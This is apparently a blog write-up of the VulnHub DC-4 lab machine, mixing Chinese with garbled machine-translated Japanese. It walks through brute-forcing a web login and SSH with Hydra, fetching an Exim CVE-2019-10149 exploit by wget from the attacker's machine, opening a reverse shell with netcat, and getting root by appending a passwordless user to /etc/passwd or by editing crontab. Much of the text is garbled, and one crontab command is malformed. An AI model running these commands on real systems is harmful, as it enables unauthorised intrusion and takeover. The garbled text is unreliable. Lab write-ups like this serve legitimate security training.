一度vulnhubを覚えておいてください|侵入テストDC-4(従来と予想外の言及右のアイデア)

DC-4


  • 主なポイント0X01
    1 Burpsuiteブラストモジュールブラストシンプルな
    2ハイドラブラスト SSH接続用
    3.CVE-2019-10149- Eximの脆弱性ローカル権限昇格
    4. teehee権限の昇格

  • 0X02事前スニッフィングとポート検出

arp-scan -l    得到靶机IP地址

ここに画像を挿入説明

namp -sV -A -p- 172.20.10.4  探测靶机开放端口

ここに画像を挿入説明
ターゲットのみオープン80、222つのポート、ページを見:

ここに画像を挿入説明ランでdirb、dirsearch、御剑Saowanディレクトリが実際には他のディレクトリがを活用することはできません、とだけログインボックスから開始することが考えられるの後、我々は、ユーザ名をデフォルトのADMINで侵入者のインポート(適しpasswdの辞書を選択する)ブラスト:
ここに画像を挿入説明
パスワードの発見多く、ログインする発見後、直接にログインすることができます:
ここに画像を挿入説明
コマンドを実行し、EtherealのGET:
ここに画像を挿入説明
に接続するために、命令が建設を実行することができますリバウンドシェルを直接、カーリーモニター:
ここに画像を挿入説明

python -c 'import pty;pty.spawn("/bin/bash")' 得到交互式Bash

ここに画像を挿入説明
/home3人のユーザーを有することが見出さ下では、ジム・ユーザーを取得し、バックアップフォルダを見ることができるジムユーザーがパスワードの履歴を入力:
ここに画像を挿入説明
直接ヒドラブラストを保存した後ジム・パスワードを取得します:

hydra -L jim -P '/root/jimpass' ssh://172.20.10.4 -t 10

ここに画像を挿入説明

正しい考え予期しない言及

su切换到Jim用户后,ls -la打开mbox查看后发现是邮件,重点是exim–邮件传输代理服务器软件:
ここに画像を挿入説明
这个版本对应有CVE-2019-10149, searchsploit exim直接将这个脚本放到kali机/var/www/html/getshell.sh下,service apache2 start开启服务器后,靶机切到/tmp路径下,wget http://172.20.10.8/getshell.sh下载这个脚本:
ここに画像を挿入説明

chmod 777 getshell.sh   赋予可执行权限
busybox dos2unix getshell.sh 转化文件格式 

这里如何使用getshell.sh可以先查看对应的CVE,这里我们直接使用:

ここに画像を挿入説明
得到root后:

nc -e /bin/bash 172.20.10.8 2333 #172.20.10.8是kali的IP,直接提权后得到flag

常规提权思路

su切换到Jim用户后,ls -la打开mbox查看后发现是邮件,那么mail后发现有一封邮件:
ここに画像を挿入説明
得到charles用户的密码,切换到charles用户:

find / -perm -u=s -type f 2>/dev/null  查看SUID文件

ここに画像を挿入説明
发现我们之前利用了的exim4,这里就是非预期提权方法了,这里假装没看到,其他的SUID程序都是很常规的,这里得不到信息。

sudo -l  查看可以以root权限执行的命令

ここに画像を挿入説明
/usr/bin/teehee是啥呢?
ここに画像を挿入説明
-a 命令可以附加到指定的文件上而不是覆盖,这里思路就很明确了,我们直接附加一个用户到/etc/passwd上,这个用户拥有root权限,然后在切换到这个用户即可。

echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
#[用户名]:[密码]:[UID]:[GID]:[身份描述]:[主目录]:[登录shell]

| 在Linux中是管道,上一条命令的输出,作为下一条命令参数,这样成功在/etc/passwd上附加了admin用户(空密码)

ここに画像を挿入説明
看到其他师傅的walkthrough上还有一种姿势:

通过定时任务执行脚本提权:

向/etc/crontab文件中写入新的定时任务,把时间全设置为*,这样就是每分钟执行一次,再将/bin/sh的权限设置为4777。
ここに画像を挿入説明

echo '***** chmod 4777 /bin/sh | sudo teehee -a /etc/crontab' 写入定时任务

同样可以得到root权限。

以上就是本人所有的提权思路

公開された17元の記事 ウォンの賞賛3 ビュー1070

おすすめ

転載: blog.csdn.net/crisprx/article/details/104142578